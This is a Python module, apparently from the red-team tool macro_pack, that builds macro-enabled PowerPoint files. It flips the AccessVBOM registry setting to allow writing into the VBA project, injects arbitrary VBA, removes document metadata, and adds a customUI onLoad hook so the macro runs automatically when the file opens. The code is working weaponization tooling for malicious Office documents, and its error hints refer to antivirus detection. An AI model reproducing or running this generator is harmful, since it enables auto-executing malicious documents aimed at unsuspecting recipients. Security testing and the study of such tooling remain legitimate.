#!/usr/bin/env python # encoding: utf-8 # Only enabled on windows import sys import os import shutil from zipfile import ZipFile from common.utils import MSTypes if sys.platform == "win32": # Download and install pywin32 from https://sourceforge.net/projects/pywin32/files/pywin32/ import win32com.client # @UnresolvedImport import winreg # @UnresolvedImport import logging from common import utils from modules.vba_gen import VBAGenerator class PowerPointGenerator(VBAGenerator): """ Module used to generate MS PowerPoint file from working dir content""" def getAutoOpenVbaFunction(self): return "AutoOpen" def getAutoOpenVbaSignature(self): return "Sub AutoOpen()" def enableVbom(self): # Enable writing in macro (VBOM) # First fetch the application version ppt = win32com.client.Dispatch("PowerPoint.Application") self.version = ppt.Version # IT is necessary to exit office or value wont be saved ppt.Quit() del ppt # Next change/set AccessVBOM registry value to 1 keyval = "Software\\Microsoft\Office\\" + self.version + "\\PowerPoint\\Security" logging.info(" [-] Set %s to 1..." % keyval) Registrykey = winreg.CreateKey(winreg.HKEY_CURRENT_USER,keyval) winreg.SetValueEx(Registrykey,"AccessVBOM",0,winreg.REG_DWORD,1) # "REG_DWORD" winreg.CloseKey(Registrykey) def disableVbom(self): # Disable writing in VBA project # Change/set AccessVBOM registry value to 0 keyval = "Software\\Microsoft\Office\\" + self.version + "\\PowerPoint\\Security" logging.info(" [-] Set %s to 0..." % keyval) Registrykey = winreg.CreateKey(winreg.HKEY_CURRENT_USER,keyval) winreg.SetValueEx(Registrykey,"AccessVBOM",0,winreg.REG_DWORD,0) # "REG_DWORD" winreg.CloseKey(Registrykey) def _injectCustomUi(self): customUIfile = utils.randomAlpha(8)+".xml" # Generally something like customUI.xml customUiContent = \ """<customUI xmlns="http://schemas.microsoft.com/office/2006/01/customui" onLoad="AutoOpen" ></customUI>""" relationShipContent = \ """<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties" Target="docProps/core.xml"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/package/2006/relationships/metadata/thumbnail" Target="docProps/thumbnail.jpeg"/><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="ppt/presentation.xml"/><Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/extended-properties" Target="docProps/app.xml"/><Relationship Id="%s" Type="http://schemas.microsoft.com/office/2007/relationships/ui/extensibility" Target="/customUI/%s" /></Relationships>""" \ % ("rId5", customUIfile) generatedFile = self.outputFilePath # 0 copy file to temp dir fileCopy = shutil.copy2(generatedFile, self.workingPath) # 1 extract zip file in temp working dir zipDir = os.path.join(self.workingPath, "zip") zipTest = ZipFile(fileCopy) zipTest.extractall(zipDir) # 2 Set customUi customUiDir = os.path.join(zipDir, "customUI") if not os.path.exists(customUiDir): os.makedirs(customUiDir) customUiFile = os.path.join(customUiDir, customUIfile) with open (customUiFile, "w") as f: f.write(customUiContent) # 3 Set relationships relsFile = os.path.join(zipDir, "_rels", ".rels") with open (relsFile, "w") as f: f.write(relationShipContent) # 3 Recreate archive shutil.make_archive(os.path.join(self.workingPath,"rezipped_archive"), format="zip", root_dir=os.path.join(self.workingPath, "zip")) # 4 replace file os.remove(generatedFile) shutil.copy2(os.path.join(self.workingPath,"rezipped_archive.zip"), generatedFile) def check(self): logging.info(" [-] Check feasibility...") if utils.checkIfProcessRunning("powerpnt.exe"): logging.error(" [!] Cannot generate PowerPoint payload if PowerPoint is already running.") if self.mpSession.forceYes or utils.yesOrNo(" Do you want macro_pack to kill PowerPoint process? "): utils.forceProcessKill("powerpnt.exe") else: return False try: ppt = win32com.client.Dispatch("PowerPoint.Application") ppt.Quit() del ppt except: logging.error(" [!] Cannot access PowerPoint.Application object. Is software installed on machine? Abort.") return False return True def generate(self): logging.info(" [+] Generating MS PowerPoint document...") try: self.enableVbom() # open up an instance of PowerPoint with the win32com driver ppt = win32com.client.Dispatch("PowerPoint.Application") logging.info(" [-] Open presentation...") presentation = ppt.Presentations.Add(WithWindow = False) self.resetVBAEntryPoint() logging.info(" [-] Inject VBA...") # Read generated files for vbaFile in self.getVBAFiles(): # Inject all vba files as modules with open (vbaFile, "r") as f: macro=f.read() pptModule = presentation.VBProject.VBComponents.Add(1) pptModule.Name = os.path.splitext(os.path.basename(vbaFile))[0] pptModule.CodeModule.AddFromString(macro) # Remove Informations logging.info(" [-] Remove hidden data and personal info...") ppRDIAll=99 presentation.RemoveDocumentInformation(ppRDIAll) logging.info(" [-] Save presentation...") pptXMLFileFormatMap = {".pptm": 25, ".potm": 27} if MSTypes.PPT == self.outputFileType: presentation.SaveAs(self.outputFilePath, FileFormat=pptXMLFileFormatMap[self.outputFilePath[-5:]]) # save the presentation and close ppt.Presentations(1).Close() ppt.Quit() # garbage collection del ppt self.disableVbom() logging.info(" [-] Inject Custom UI...") self._injectCustomUi() logging.info(" [-] Generated %s file path: %s" % (self.outputFileType, self.outputFilePath)) logging.info(" [-] Test with : \n%s --run %s\n" % (utils.getRunningApp(),self.outputFilePath)) except Exception: logging.exception(" [!] Exception caught!") logging.error(" [!] Hints: Check if MS office is really closed and Antivirus did not catch the files") logging.error(" [!] Attempt to force close MS Powerpoint application...") ppt = win32com.client.Dispatch("PowerPoint.Application") ppt.Quit() # If it Application.Quit() was not enough we force kill the process if utils.checkIfProcessRunning("powerpnt.exe"): utils.forceProcessKill("powerpnt.exe") del ppt